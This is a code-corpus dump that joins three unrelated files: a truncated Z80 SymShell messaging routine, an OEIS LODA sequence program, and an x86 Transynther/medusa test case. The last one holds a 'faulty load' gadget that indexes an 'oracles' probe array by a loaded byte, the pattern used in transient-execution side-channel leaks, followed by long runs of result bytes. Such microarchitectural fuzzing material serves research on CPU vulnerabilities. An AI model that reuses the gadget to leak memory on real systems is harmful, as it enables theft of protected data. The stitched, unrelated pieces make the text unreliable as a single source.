c,MSC_SHL_PTHADD call SyShell_SendMessage SyHPtA1 call SyShell_WaitMessage cp MSR_SHL_PTHADD jr nz,SyHPtA1 ld de,(App_MsgBuf+1) ld hl,(App_MsgBuf+3) ld a,(App_MsgBuf+5) ret endif SyShell_EXIT ;****************************************************************************** ;*** Name SymShell_Exit_Command ;*** Input E = Exit type (0 = quit, 1 = blur) ;*** Output - ;*** Destroyed AF,BC,DE,HL,IX,IY ;*** Description The application informs SymShell about an exit event. ;*** If an application quits itself, SymShell has to be informed ;*** about that, so that it can remove the application from its ;*** internal management table. In this case the exit type has to be ;*** 0 ("quit"). ;*** If an application doesn't require the focus inside the text ;*** terminal anymore, it has to send exit type 1 ("blur"). The ;*** background is, that SymShell can run multiple applications in ;*** the same text terminal at the same time. User text inputs will ;*** only be sent to the application which has been started at first ;*** until it releases the focus and goes into blur mode. In this ;*** case the next application or the command line interpreter of ;*** the shell itself will receive the focus (the user can force the ;*** shell to get back focus at once by appending "&" at the end of ;*** the command line). ;****************************************************************************** ld c,MSC_SHL_EXIT jp SyShell_SendMessage ;### SUB ROUTINES ############################################################# SyShell_SendMessage ;****************************************************************************** ;*** Input C = Command ;*** DE = Parameter 1/2 ;*** HL = Parameter 3/4 ;*** B = Parameter 5 ;*** Output - ;*** Destroyed AF,BC,DE,HL,IX,IY ;*** Description Sends a message to the SymShell process ;****************************************************************************** ld iy,App_MsgBuf ld (iy+0),c ld (App_MsgBuf+1),de ld (App_MsgBuf+3),hl ld (iy+5),b ld a,(SyShell_PrcID) db #dd:ld h,a ld a,(App_PrcID) db #dd:ld l,a rst #10 ret SyShell_WaitMessage ;****************************************************************************** ;*** Input - ;*** Output IY = message buffer ;*** A = first byte in the Message buffer (IY+0) ;*** Destroyed F,BC,DE,HL,IX ;*** Description Waits for a response message from the SymShell process. ;****************************************************************************** ld iy,App_MsgBuf SyHWMs1 ld a,(SyShell_PrcID) db #dd:ld h,a ld a,(App_PrcID) db #dd:ld l,a rst #08 ;wait for a SymShell message db #dd:dec l jr nz,SyHWMs1 ld a,(iy+0) ret SyShell_DoCommand ;****************************************************************************** ;*** Input C = Command ;*** DE,HL,A = additional parameters ;*** B = Response type ;*** Output CF = Error state (0 = ok, 1 = error, A = error code) ;*** ZF = EOF status (0=EOF) [optional] ;*** Destroyed F,BC,DE,HL,IX,IY ;*** Description Executes a complete SymShell command. ;****************************************************************************** push bc ld b,a call SyShell_SendMessage pop bc SyHGRs1 push bc call SyShell_WaitMessage pop bc cp b jr nz,SyHGRs2 ld a,(iy+3) ;Error state ld c,(iy+1) ;EOF (0=no eof) cp 1 ccf ;CF=0 no error inc c dec c ;ZF=0 EOF ret SyHGRs2 push bc ;wrong message (from another event) -> re-send ld a,(SyShell_PrcID) db #dd:ld l,a ld a,(App_PrcID) db #dd:ld h,a rst #10 rst #30 pop bc jr SyHGRs1
oeis/025/A025946.asm
neoneye/loda-programs
11
8548
; A025946: Expansion of 1/((1-2x)(1-3x)(1-7x)(1-11x)). ; Submitted by <NAME> ; 1,23,356,4702,57435,672441,7683502,86531384,965954429,10724321179,118659465288,1310098171746,14444989850383,159132262849037,1752116527119314,19284913291752988,212215466792375697 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,16314 ; Expansion of 1/((1-2x)*(1-7x)*(1-11x)). mul $1,3 add $1,$0 lpe mov $0,$1
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1199.asm
ljhsiun2/medusa
9
177503
<filename>Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1199.asm .global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rdx lea addresses_WC_ht+0x3eec, %r14 clflush (%r14) nop mfence movw $0x6162, (%r14) nop nop nop nop and %rdx, %rdx pop %rdx pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbp push %rbx push %rcx // Faulty Load mov $0x7043e90000000899, %rbx nop nop nop sub $11535, %rbp mov (%rbx), %r11w lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rcx pop %rbx pop %rbp pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */